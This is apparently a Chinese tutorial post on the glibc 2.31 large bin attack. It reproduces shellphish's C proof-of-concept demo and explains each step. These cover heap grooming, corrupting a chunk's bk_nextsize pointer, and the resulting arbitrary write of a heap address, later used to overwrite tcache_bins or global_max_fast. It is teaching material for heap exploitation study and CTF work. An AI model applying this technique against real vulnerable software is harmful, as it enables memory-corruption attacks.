shellphish的glibc 2.31的LargeBin Attack样例demo的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");

printf("\n");

size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");

printf("\n");

free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

printf("\n");

free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);

printf("\n");

p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

printf("\n");

size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

printf("\n");

printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target);

return 0;
}

可以看到,漏洞利用的代码在malloc.c的源码中,利用的是这一段代码:

1
2
3
4
5
6
7
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

其中最后一行的这一步赋值操作是利用的点:
victim->bk_nextsize->fd_nextsize = victim;
在Glibc 2.31的LargeBin Attack利用中,使用这一行进行任意地址写一个大数据,为后续攻击提供帮助。下面分析demo中的攻击原理:

首先列出所有的操作过程:

序号 操作 目的
1 p1 = malloc(0x428) 堆风水
2 g1 = malloc(0x18) 隔断防止合并
3 p2 = malloc(0x418) 堆风水
4 g2 = malloc(0x18) 隔断防止合并
5 free(p1) 将p1指向的堆块放到unsortedbin中
6 g3 = malloc(0x438) 进行堆块申请操作,将p1指向的堆块放入largebin中
7 free(p2) 将p2指向的堆块放到unsortedbin中
8 p1[3] = (size_t)((&target)-4); p1堆块的bk_nextsize改成任意地址写-0x20处
9 g4 = malloc(0x438) 申请堆块,触发unsortedbin链入largebin的代码完成攻击

可以看到1~7步是为了构造堆风水,第8步是需要利用程序本身存在的漏洞进行bk_nextsize指针的修改(如果程序不存在漏洞是无法做到第8步的),第9步是触发漏洞进行LargeBin Attack攻击。

下面用调试案例进行演示,首先,当程序运行到第7步结束时,内存中堆块分布是这样的:

然后执行完毕第8步之后,内存中堆块分布是这样的:

当我们执行第9步的时候,程序会做很多事情,首先我们第9步申请的堆块大小是0x438,此时会调用到这一段代码:3840 in malloc.c:

1
2
3
4
5
6
7
8
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;//1
bck = bck->bk;//2
victim->fd_nextsize = fwd->fd;//3
victim->bk_nextsize = fwd->fd->bk_nextsize;//4
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//5
}

这里是处理unsortedbin中的堆块过程,此处的size就是我们p2的size,因为这个size小于p1的size(p1就是bck->bk)才会调用这段代码。(而这段代码的前两行将fwd和bck的含义换了一下,所以之后的bck含义和之前不同)经过调试和源码分析可知,第三行和第四行执行后,fwd、bck、victim的内容如下图所示:注意,bck的bk_nextsize是我们利用程序的逻辑漏洞修改的,攻击的点就是这个指针。

在第五行调用victim->bk_nextsize->fd_nextsize = victim;时,就会将target->fd_nextsize即[target + 0x20]处的值写入为victim的值,就是p2的地址。

在执行完第五行后,观察调试结果:

到这里,LargeBin Attack完成了。回顾一下过程:

  • 第一步的功能p1 = malloc(0x428)是申请一个大的堆块构造堆风水,为了让它在free后能进入unsortedbin和largebin中,如果堆块过小会使得它进入tcache bin中,这样是不对的。
  • 第二步的功能是为了阻断堆块合并,相邻的free状态的堆块是有可能会合并到一起的,这样就会影响堆风水
  • 第三步的功能p2 = malloc(0x418)同样是为了构造堆风水,注意此处的size要小于p1的size,但是需要和p1在同一个largebin的index中,而且要注意此处的大小还应该处于largebin的范围内,过小了free后也会进入tcache bin中。
  • 第四步的功能也是为了阻断堆块合并
  • 第五步至第七步的功能也是为了构造堆风水,注意在第七步执行完毕后,p1在largebin中,p2在unsortedbin中,所以在第九步进行另一次malloc时,分配器会处理p2,将它插入largebin中,这里就会调用上面那五行利用代码了,3840 in malloc.c。
  • 第八步是漏洞利用,我们使用程序的漏洞进行指针的修改
  • 第九步是触发利用代码的一次malloc操作,注意这里要申请一个更大的堆块(大于p1、p2),防止分配器从p2切割一块堆块返回从而影响代码利用。

综上,先申请堆块A、B、C、D,BD用于阻断,让A的大小大于C,且A、C均为largebin大小并且在同一个largebin index中,先释放A,后申请一个堆块让A进入largebin,再释放C,然后恶意修改A的bk_nextsize指针为target-0x20处(0x20是fd_nextsize的偏移量),最后申请一个更大的堆块,触发利用代码即可向target中写入一个大整数(一个堆块的地址)。

三、攻击作用

当题目申请的堆块只能在largebin范围内时,如果用通常方法是无法利用到fastbin和tcachebin的。因为我们的堆块大小始终会大于这些bin的大小上界。如果我们使用LargebinAttack,就可以修改全局变量中保存这些bin大小上界处的数据。比如修改mp_结构体中的tcache_bins或者global_max_fast。将其变成一个很大的数(原来保存的数一般都是很小的数字,比如tcache_bins就是0x40)。这样就可以为后续利用tcache做准备了。